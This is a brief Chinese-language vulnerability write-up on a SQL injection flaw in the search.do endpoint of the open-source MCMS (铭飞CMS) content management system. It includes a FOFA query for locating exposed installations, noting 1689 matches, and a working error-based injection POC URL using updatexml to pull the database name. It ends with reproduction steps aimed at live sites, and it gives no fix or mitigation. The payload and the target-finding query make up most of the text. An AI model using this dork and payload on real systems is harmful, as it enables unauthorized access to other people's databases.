铭飞CMS-search接口存在sql注入漏洞

漏洞描述

铭飞CMS是一款开源的内容管理系统，SQL注入漏洞存在于铭飞CMS的search接口处，当用户输入的内容未被充分过滤或转义时，攻击者可以在url中构造嵌入恶意的SQL语句，从而实现对数据库的操控

fofa

body="铭飞MCMS" || body="/mdiy/formData/save.do" || body="static/plugins/ms/1.0.0/ms.js"

POC

/mcms/search.do'%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)%20and%20'1

漏洞复现

在fofa中搜索资产，共有1689条数据匹配

访问目标网站的/mcms/search.do页面

构造闭合参数/mcms/search.do' and '1

使用报错注入获取目标网站当前数据库名称